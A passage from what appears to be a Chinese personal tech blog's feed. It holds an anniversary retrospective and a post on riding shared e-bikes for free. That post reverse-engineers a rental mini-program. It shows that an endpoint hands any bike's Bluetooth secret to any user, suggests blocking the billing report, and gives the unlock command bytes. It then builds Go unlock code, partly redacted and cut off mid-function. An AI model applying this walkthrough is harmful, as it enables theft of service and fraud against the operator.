job,当时还疑惑他们这么出名这么厉害,怎么会没工作的呢?最近这段时间,我开始慢慢理解了。我开始越发觉得“开源”本身是奢侈的。每次发现我的一些开源项目被人拿去商用赚的盆满钵满的时候,我什么也得不到,所谓的“协议”也只是自欺欺人罢了。我现在日常把“开源”当做乐趣,实在是一种“不自量力”的行为。当我下个月没地方住、下顿饭没钱吃的时候,所谓的“社区”又在哪呢?</p>迟到的 LightCube 八周年总结https://github.red/lightcube-8th/Thu, 16 Nov 2023 21:07:22 +0800https://github.red/lightcube-8th/<blockquote> <p>文章头图来自 <a href="https://www.pixiv.net/artworks/102940261">https://www.pixiv.net/artworks/102940261</a> 因为是八周年所以就选了张 86 的图</p></blockquote> <p>按照前面几年的惯例,我一般会在每年的 10 月 4 日左右写一篇博客的总结文章,回顾总结过去一年内博客在内容和技术上发生的变化。 然而今年 10 月是第一次跳票。😂 原因是整个国庆假期虽然是在湖南老家度过,但是全都被工作给排满了。我给自己的项目排期看板上规定了每日八小时的工作量,基本上腾不出什么空闲时间,好在最后这些任务也大差不差地完成了。 国庆假期回来后,又是马不停蹄地要准备办比赛,然后又是去广州出差,出差回来后马上要去参加一个比赛&hellip;&hellip; 然后又突然得知需要去参加会议分享议题,急急忙忙写稿子写 PPT。基本上这阵子没啥完整的双休日,今天算是难得能停下来喘口气,把八周年的总结给写了。</p> <p>本来想想还挺遗憾的,但是 y7 说以往几年都是准点的,今年推迟一些,反而能体现跟前面几年有不一样的变化。想来也是。</p> <p>去年的总结是在深圳的家里写得,主要是讲述博客向云原生的一些转变。今年则是在自己租的杭州郊区房子里,感受着 11 月的寒意,缩在键盘前写下这段总结。过去的一年博客在技术层面没有太多的变化,依旧是部署在阿里云的 Kubernetes 集群中,但不知道是否有人察觉到,今年一整年博客的稳定性都变差了。很多时候访问网站都是直接不通,甚至连个 500 的报错页面也没有。原因则是为了省那一点钱,搞了些骚操作,但是却大大牺牲了博客的稳定性。最后决定还是恢复到之前的网络结构,起码得保证站不炸。</p> <p>前几天在做这个变更的时候,恰逢阿里云控制台全面宕机,购买的负载均衡实例居然没能成功创建出来,也是够离谱的。(虽说是按量付费,下单的时候没扣钱)等阿里云恢复后,我便尝试把网站的 CDN 也全面切到了阿里云,放弃了原本七牛云的静态资源 CDN。 我一直搞不太懂,明明七牛云背后的云存储设施接的就是阿里云,但它的 CDN 加载个平平无奇的 PNG 图片就是会卡会慢,响应头里也都很明确的说了命中了 Cache。CDN 切到阿里云后,我同时关闭了页面图片懒加载的插件,首页的访问有了一点微小的速度提升。但第一次访问还是会有 1-2 秒的白屏,一直做不到秒出。这要是再跟下去,怕不是得去排查 PHP 那边的性能问题了。眼下我倒是没有很多时间,只能寄希望于 bitnami 的 WordPress 镜像能多做些内置的优化吧。</p> <p>其实我这几天又开始幻想自己写一套博客系统的可能性了。但所要面对的问题还是跟之前一样 —— 我没有办法完美复刻出一个我现在这样好看的前端出来。目前这个前端的 CSS 和 JavaScript 看得就头大。我如果要重构博客,那还要自己一点点分析,把这些交互和样式的东西给扒出来,真的是有够繁琐的。但是另一方面我又很羡慕那些能直接秒开,媲美静态页面速度的博客。(主要还是这几天帮 y7 弄 hexo 站,那加载速度直接完秒我现在的 WordPress 站。)</p> <p>嗯,差不多就是这样。因为是抽空写得文章,所以可能会比较乱&hellip;&hellip; 我已经预想到在新的一年里自己的更新速度不会太高,甚至难得能在网上活跃一下了。年少时还对 “越忙的人,越是不写博客” “博客只有闲人才写” 这类话嗤之以鼻,现在看来也不全无道理。</p>再看 BLE:如何免费骑家楼下的共享电单车https://github.red/hack-ble-electric-bicycle/Sat, 05 Aug 2023 02:31:13 +0800https://github.red/hack-ble-electric-bicycle/<p>距离上一次三月份写博客,已经过了整整五个月了。</p> <p>我在三月底的时候去南京打了一场 CTF 线下赛,顺带旅游了一波。四月份的时候&hellip;&hellip; 我,母胎单身 23 年的我,居然如愿以偿地脱单了。谈恋爱之后感觉每天的时间都过得飞快,各种出去吃吃喝喝逛逛,所以博客一直拖着没写。(当时也没啥东西写</p> <p>六月份的时候我在余杭租的公寓到期了,再加上现在是在家远程弹性办公,我便搬到了杭州比较偏的地方住着,这里的房东都是附近的拆迁户,去年年底每个人都分到了好几套安置房,遂拿来出租给附近的学生和上班族,房租那叫一个低。 低房租的代价就是出门很不方便,最近的地铁站也要两公里。随着小区附近的基础设施逐渐完善,我发现家楼下有共享电单车了,每天晚上饿了可以骑着电单车到离家几公里的海底捞搓一顿。</p> <p>不过这共享电单车比较坑,一次起充 20 元,时间久了,我难免有点心痒想试试手,有天晚上悄悄推了一辆车进电梯上楼,然后放家里客厅。开干!</p> <p>因为怕惹上不该惹的麻烦,以下内容有部分修改和打码,敬请谅解。</p> <h2 id="先从小程序下手">先从小程序下手</h2> <p>跟市面上的共享单车一样,解锁一辆共享电单车是通过手机扫描车身上的二维码,拉起微信小程序,然后在小程序内点击开锁。那么我们就先从小程序入手,看看它的开锁流程中是否有不安全的因素。 微信小程序的反编译解包在 GitHub 上有现成的工具,本文就不再赘述。我后面其实是用了更加取巧的方式轻松地拿到了小程序解包后的代码。基本上是在源码 JavaScript 上打包压缩过的程度,静态看变量跟流程也是十分轻松。</p> <p>我们直接在全局代码中搜索<code>开锁</code>二字,很快就找到了其小程序中的“开锁中” Toast 弹窗,弹窗的回调就是调用蓝牙发送开锁的操作:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>(wx.showToast({ </span></span><span style="display:flex;"><span> title<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;开锁中&#34;</span>, </span></span><span style="display:flex;"><span> icon<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;loading&#34;</span>, </span></span><span style="display:flex;"><span> mask<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>, </span></span><span style="display:flex;"><span> duration<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">1e5</span> </span></span><span style="display:flex;"><span> }), e.checkToken(<span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> o.length <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> e.operateBluetooth(<span style="color:#a5d6ff">&#34;open&#34;</span>, e.globalData.machineNO, <span style="color:#ff7b72">function</span>(n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> a <span style="color:#ff7b72;font-weight:bold">=</span> e.globalData.baseUrl <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;park/continueRide.do&#34;</span>, l <span style="color:#ff7b72;font-weight:bold">=</span> { </span></span><span style="display:flex;"><span> token<span style="color:#ff7b72;font-weight:bold">:</span> o, </span></span><span style="display:flex;"><span> ble<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>, </span></span><span style="display:flex;"><span> orderSource<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">3</span> </span></span><span style="display:flex;"><span> }; </span></span><span style="display:flex;"><span> t.request(a, l, <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> o.ret <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (wx.hideToast(), e.unlockAudio(), i <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> i()); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> t.showModal_nocancel(<span style="color:#a5d6ff">&#34;蓝牙操作失败,请重试!&#34;</span>); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> })) </span></span></code></pre></div><p>发现重点是 <code>operateBluetooth</code> 函数,这个函数传入了三个入参,分别是 <code>open</code> 字符串、<code>e.globalData.machineNO</code> 也就是车辆编号,分析过后发现就是车辆二维码下面的数字,第三个参数是一个函数,看函数里面调用了 <code>park/continueRide.do</code> 接口,应该是向服务端上报车辆的开锁状态。这个函数应该就是个回调函数。</p> <p>由这里我们其实也可以知道,车辆在开锁后是手机上的小程序上报开锁状态的,因为共享电单车本身是无法联网的,它的一切开锁关锁定位状态都需要用户的手机上报。如果我们在手机上 block 掉了这个发送给服务端的请求,就可以实现蓝牙开锁后不计费、车辆搬走后不更新定位等功能。</p> <p>但秉着对技术的追求,我还是想继续深挖这个蓝牙通信的过程。往下跟 <code>operateBluetooth</code> 函数:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>operateBluetooth<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72">function</span>(o, t, e) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> a <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">this</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">this</span>.getSecretKey(t).then(<span style="color:#ff7b72">function</span>(n) { </span></span><span style="display:flex;"><span> a.bluetooth.start(o, n.machineNO, n.secret, <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> a.saveLog(t, a.globalData.mobileBrand, a.globalData.mobileOS, JSON.stringify(a.bluetooth.getLog())), </span></span><span style="display:flex;"><span> console.log(a.bluetooth.getMachinevoltage()), e <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> e(o); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> } </span></span></code></pre></div><p>这里我们遇到了第一个“纸老虎”,有个 <code>getSecretKey</code> 函数,它的函数入参 <code>o</code>,就是上面 <code>operateBluetooth</code> 的第二个参数 <code>t</code>,也就是车辆的编号。这个函数在请求服务端获取当前车辆的秘钥! 抱着试一试的想法,我构造了下请求,第一个 <code>token</code> 参数是小程序抓包得到的当前用户登录后获得的 Token,<code>userCode</code> 传入电单车编号&hellip;&hellip; 结果居然真的成功给我返回车辆的秘钥。 我又用车辆定位的接口获取了其它的车辆编号传入这个接口,居然也能返回给我对应车辆的秘钥。也就是它后端完全没有校验该车是否为被我租借的状态,我可以请求接口拿任意车的秘钥开锁。 可见它该防的没防住,所以我才称之为“纸老虎”。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>getSecretKey<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> e <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">this</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#ff7b72">new</span> Promise(<span style="color:#ff7b72">function</span>(a, n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> e.globalData.baseUrl <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;/machine/getBleSecret.do&#34;</span>; </span></span><span style="display:flex;"><span> e.checkToken(<span style="color:#ff7b72">function</span>(e) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (e.length <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> n <span style="color:#ff7b72;font-weight:bold">=</span> { </span></span><span style="display:flex;"><span> token<span style="color:#ff7b72;font-weight:bold">:</span> e, </span></span><span style="display:flex;"><span> userCode<span style="color:#ff7b72;font-weight:bold">:</span> o </span></span><span style="display:flex;"><span> }; </span></span><span style="display:flex;"><span> t.request(l, n, <span style="color:#ff7b72">function</span>(o) { </span></span><span style="display:flex;"><span> console.log(<span style="color:#a5d6ff">&#34;获取的秘钥&#34;</span>, o.data), a(o.data); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> wx.hideToast(); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> }, </span></span></code></pre></div><h2 id="又是-ble">又是 BLE</h2> <p>拿到了车辆的秘钥,剩下的就好办了。我们继续跟 <code>a.bluetooth.start</code> 函数:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">this</span>.start <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">function</span>(e, n, c, l) { </span></span><span style="display:flex;"><span> A(), i <span style="color:#ff7b72;font-weight:bold">=</span> e, M <span style="color:#ff7b72;font-weight:bold">=</span> c, C <span style="color:#ff7b72;font-weight:bold">=</span> l, t.log(n, o, <span style="color:#a5d6ff">&#34;operate:&#34;</span>, i), W(<span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> n <span style="color:#ff7b72;font-weight:bold">==</span> o <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> r <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> i <span style="color:#ff7b72;font-weight:bold">?</span> R() <span style="color:#ff7b72;font-weight:bold">:</span> (o <span style="color:#ff7b72;font-weight:bold">=</span> n, r <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#79c0ff">null</span>, O()); </span></span><span style="display:flex;"><span> }); </span></span></code></pre></div><p>其中 e = &ldquo;open&rdquo; 字符串,n = 车辆编号,c = 上面拿到的车辆秘钥,l 又是个执行成功后的回调函数。<code>W</code> 函数调用微信小程序 SDK 中的 <code>wx.openBluetoothAdapter</code> 方法初始化蓝牙,之后的三元运算符进入 <code>O</code> 函数,<code>O</code> 调用 <code>F</code> 函数,<code>F</code> 函数开始搜索蓝牙设备。 我一看,好家伙,这不是跟我前年搞得小米手环获取心跳的文章一样嘛(<a href="https://github.red/miband-heart-rate/" title="https://github.red/miband-heart-rate/">https://github.red/miband-heart-rate/</a>),这共享电单车也是使用的蓝牙 BLE 协议。 直接上 Go 的 <code>github.com/JuulLabs-OSS/ble</code> 库,按如下步骤一把梭。</p> <ol> <li>搜索设备</li> <li>搜索 Services</li> <li>搜索 Characteristics</li> <li>订阅,读写消息</li> </ol> <h3 id="搜索设备">搜索设备</h3> <p>我首先使用 Bluetility 搜索附近的设备,发现没有设备名类似共享电单车的设备。看了下小程序源码设备发现这块:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>wx.onBluetoothDeviceFound(<span style="color:#ff7b72">function</span>(n) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> n.devices[<span style="color:#a5d6ff">0</span>]; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (l <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> l.advertisData <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">!=</span> l.advertisData.byteLength) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> s <span style="color:#ff7b72;font-weight:bold">=</span> e.encrypt(e.ab2hex(l.advertisData).slice(<span style="color:#a5d6ff">4</span>, <span style="color:#a5d6ff">13</span>)); </span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">&#34;搜索到的设备编号:&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> s <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;,目标:&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> o), s <span style="color:#ff7b72;font-weight:bold">==</span> o <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (Q(), clearInterval(c), c <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#79c0ff">null</span>, </span></span><span style="display:flex;"><span> r <span style="color:#ff7b72;font-weight:bold">=</span> l.deviceId, t.log(<span style="color:#a5d6ff">&#34;deviceId:&#34;</span>, r), <span style="color:#a5d6ff">&#34;open&#34;</span> <span style="color:#ff7b72;font-weight:bold">==</span> i <span style="color:#ff7b72;font-weight:bold">||</span> <span style="color:#a5d6ff">&#34;close&#34;</span> <span style="color:#ff7b72;font-weight:bold">==</span> i <span style="color:#ff7b72;font-weight:bold">?</span> R() <span style="color:#ff7b72;font-weight:bold">:</span> C <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> C(<span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>)); </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> }); </span></span></code></pre></div><p>可以看到它将蓝牙设备的 <code>advertisData</code>,运算后与<code>start</code> 函数中设置的 <code>o</code> 变量(车辆编号)进行比较,如果相同则表明这个设备是我们要找的对应编号的共享电单车。 这个 <code>advertisData</code> 的运算又是 <code>encrypt</code> 又是 <code>ab2hex</code>,我直接全部喂给 GPT-4 让其给我生成对应的 Go 代码,顺便再让他帮忙生成一下 <code>decrypt</code> 和 <code>hex2ab</code> 函数供我反推验证。整个过程十分舒服。</p> <h3 id="搜索-services">搜索 Services</h3> <p>连上设备后,根据小程序源码,配合使用 Bluetility,我们需要搜索 <code>fef6</code> 这个 Services。</p> <h3 id="搜索-characteristics">搜索 Characteristics</h3> <p>使用 Bluetility,我们能得出哪个 Characteristics 是只读的,哪个是可写的。我们往可写的里发送数据。</p> <h3 id="发送数据">发送数据</h3> <p>连接成功后,首先是执行 <code>N</code> 函数,回调 <code>P</code> 函数。<code>N</code> 函数中调了 <code>G</code> 函数,然后调了 <code>H</code> 函数,后面掉用了 <code>j</code> 函数,分包发送数据。这里是第一次连接的时候的握手包。根据 JavaScript 代码构造对应的 Go <code>[]byte</code> 即可。 握手结束后回调的 <code>P</code> 函数发送开锁命令:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>P <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">function</span> o(c) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> r <span style="color:#ff7b72;font-weight:bold">=</span> e.getSequenceId(u); </span></span><span style="display:flex;"><span> u<span style="color:#ff7b72;font-weight:bold">++</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;&#34;</span>; </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;open&#34;</span> <span style="color:#ff7b72;font-weight:bold">===</span> c <span style="color:#ff7b72;font-weight:bold">?</span> l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;03 00 02 01 00&#34;</span> <span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;close&#34;</span> <span style="color:#ff7b72;font-weight:bold">===</span> c <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (l <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#34;03 00 01 01 01&#34;</span>); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> s <span style="color:#ff7b72;font-weight:bold">=</span> e.header(l, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">&#34;00&#34;</span>, r) <span style="color:#ff7b72;font-weight:bold">+</span> l.replace(<span style="color:#79c0ff">/\s+/g</span>, <span style="color:#a5d6ff">&#34;&#34;</span>); </span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">&#34;发送&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> c <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;指令&#34;</span>, s), K(s), I <span style="color:#ff7b72;font-weight:bold">=</span> setTimeout(<span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">==</span> B <span style="color:#ff7b72;font-weight:bold">?</span> (t.log(<span style="color:#a5d6ff">&#34;设备未响应,自动重发&#34;</span>), B<span style="color:#ff7b72;font-weight:bold">++</span>, o(i)) <span style="color:#ff7b72;font-weight:bold">:</span> (t.log(<span style="color:#a5d6ff">&#34;设备未响应&#34;</span>), wx.hideLoading(), n.showModal(<span style="color:#a5d6ff">&#34;设备未响应,是否重新发送指令?&#34;</span>, <span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> t.log(<span style="color:#a5d6ff">&#34;手动重发ctrl&#34;</span>), wx.showLoading({ </span></span><span style="display:flex;"><span> title<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">&#34;开锁中&#34;</span> </span></span><span style="display:flex;"><span> }), o(i); </span></span><span style="display:flex;"><span> }, <span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> t.end(<span style="color:#ff7b72">function</span>() { </span></span><span style="display:flex;"><span> C <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> C(<span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">1</span>); </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> })); </span></span><span style="display:flex;"><span> }, <span style="color:#a5d6ff">5e3</span>); </span></span><span style="display:flex;"><span> } </span></span></code></pre></div><p>可以看到拼接好的消息体 <code>s</code> 变量传入了 <code>K</code> 函数进行字符串转十六进制,然后分包发送。 综上所述,最终的 Go 代码如下,相关数据包以及变量内容已经隐去:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Copyright 2023 E99p1ant. All rights reserved.</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">package</span> main </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> ( </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;context&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;fmt&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;os&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;strings&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;time&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;github.com/JuulLabs-OSS/ble&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;github.com/JuulLabs-OSS/ble/darwin&#34;</span> </span></span><span style="display:flex;"><span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> r = []<span style="color:#ff7b72">rune</span>{<span style="color:#a5d6ff">53</span>, <span style="color:#a5d6ff">&#39;R&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">&#39;A&#39;</span>, <span style="color:#a5d6ff">&#39;C&#39;</span>, <span style="color:#a5d6ff">&#39;T&#39;</span>, <span style="color:#a5d6ff">&#39;E&#39;</span>, <span style="color:#a5d6ff">&#39;D&#39;</span>, <span style="color:#a5d6ff">57</span>, <span style="color:#a5d6ff">69</span>, <span style="color:#a5d6ff">56</span>, <span style="color:#a5d6ff">70</span>, <span style="color:#a5d6ff">55</span>, <span style="color:#a5d6ff">52</span>, <span style="color:#a5d6ff">49</span>, <span style="color:#a5d6ff">48</span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">encrypt</span>(t <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">string</span> { </span></span><span style="display:flex;"><span> t = strings.<span style="color:#d2a8ff;font-weight:bold">ToUpper</span>(t) </span></span><span style="display:flex;"><span> e <span style="color:#ff7b72;font-weight:bold">:=</span> len(t) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> e &gt; <span style="color:#a5d6ff">16</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">&#34;&#34;</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> buffer strings.Builder </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> a <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">0</span>; a &lt; e; a<span style="color:#ff7b72;font-weight:bold">++</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> o <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">0</span>; o &lt; <span style="color:#a5d6ff">16</span>; o<span style="color:#ff7b72;font-weight:bold">++</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> rune(t[a]) <span style="color:#ff7b72;font-weight:bold">==</span> r[o] { <span style="color:#8b949e;font-style:italic">// assuming r is defined somewhere as an array</span> </span></span><span style="display:flex;"><span> buffer.<span style="color:#d2a8ff;font-weight:bold">WriteRune</span>(rune(<span style="color:#a5d6ff">42</span> <span style="color:#ff7b72;font-weight:bold">+</span> o)) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> buffer.<span style="color:#d2a8ff;font-weight:bold">String</span>() </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">ab2hex</span>(t []<span style="color:#ff7b72">byte</span>) <span style="color:#ff7b72">string</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> hexStr <span style="color:#ff7b72">string</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, b <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> t { </span></span><span style="display:flex;"><span> hexStr <span style="color:#ff7b72;font-weight:bold">+=</span> fmt.<span style="color:#d2a8ff;font-weight:bold">Sprintf</span>(<span style="color:#a5d6ff">&#34;%02x&#34;</span>, b) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> hexStr </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> machineNo = <span style="color:#a5d6ff">&#34;[REDACTED]&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">main</span>() { </span></span><span style="display:flex;"><span> mode <span style="color:#ff7b72;font-weight:bold">:=</span> os.Args[<span style="color:#a5d6ff">1</span>] </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> d, err <span style="color:#ff7b72;font-weight:bold">:=</span> darwin.<span style="color:#d2a8ff;font-weight:bold">NewDevice</span>() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> panic(<span style="color:#a5d6ff">&#34;new device&#34;</span>) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> ble.<span style="color:#d2a8ff;font-weight:bold">SetDefaultDevice</span>(d) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> ctx <span style="color:#ff7b72;font-weight:bold">:=</span> context.<span style="color:#d2a8ff;font-weight:bold">Background</span>() </span></span><span style="display:flex;"><span> client, err <span style="color:#ff7b72;font-weight:bold">:=</span> ble.<span style="color:#d2a8ff;font-weight:bold">Connect</span>(ctx, <span style="color:#ff7b72">func</span>(a ble.Advertisement) <span style="color:#ff7b72">bool</span> { </span></span><span style="display:flex;"><span> manufacturerData <span style="color:#ff7b72;font-weight:bold">:=</span> a.<span style="color:#d2a8ff;font-weight:bold">ManufacturerData</span>() </span></span><span style="display:flex;"><span> hexStr <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#d2a8ff;font-weight:bold">ab2hex</span>(manufacturerData) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> len(hexStr) &lt; <span style="color:#a5d6ff">13</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> slicedStr <span style="color:#ff7b72;font-weight:bold">:=</span> hexStr[<span style="color:#a5d6ff">4</span>:<span style="color:#a5d6ff">13</span>] </span></span><span style="display:flex;"><span> encryptedStr <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#d2a8ff;font-weight:bold">encrypt</span>(slicedStr) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> 